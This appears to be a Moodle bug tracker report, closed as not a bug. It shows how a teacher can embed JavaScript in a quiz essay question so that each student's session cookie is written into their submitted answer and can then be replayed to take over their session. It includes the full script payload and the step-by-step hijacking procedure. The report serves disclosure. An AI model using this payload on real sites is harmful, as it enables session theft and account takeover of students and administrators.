-
Bug
-
Resolution: Not a bug
-
Minor
-
None
-
2.9
-
None
-
MOODLE_29_STABLE
By default, teacher can insert any javascript code into the Question text field.
So a teacher can interact and get private informations from students (or anyone who answer the question, even an administrator).
Reproduce the bug
- Create a essay
- Fill question text field with in html mode :
A basic question text.
<script>
<!--
( function(){
window.addEventListener('load', function() {
var next = document.getElementById('responseform').next;
if ('undefined' != typeof next) {
next.addEventListener('click', function (event) {
document.getElementsByTagName('textarea')[0].value += "<a href='" + document.cookie + "'> </a>";
});
}
})
} )();
-->
</script>
- Create a Quiz containing the question.
- Answer the question with any user.
- Inspect answer and find stolenCookie in href attribute of the empty a tag.
- Type following code in console of any other browser :
document.cookie = stolenCookie;
- Refresh the page.
- Your are now logged with victim's session.
More informations
Done with a https connexion and atto editor (probably work with other if we adjust injected code).
- will be (partly) resolved by
-
MDL-58639 Remove RISK_XSS from capabilities, instead rely on moodle/site:trustcontent
-
- Reopened
-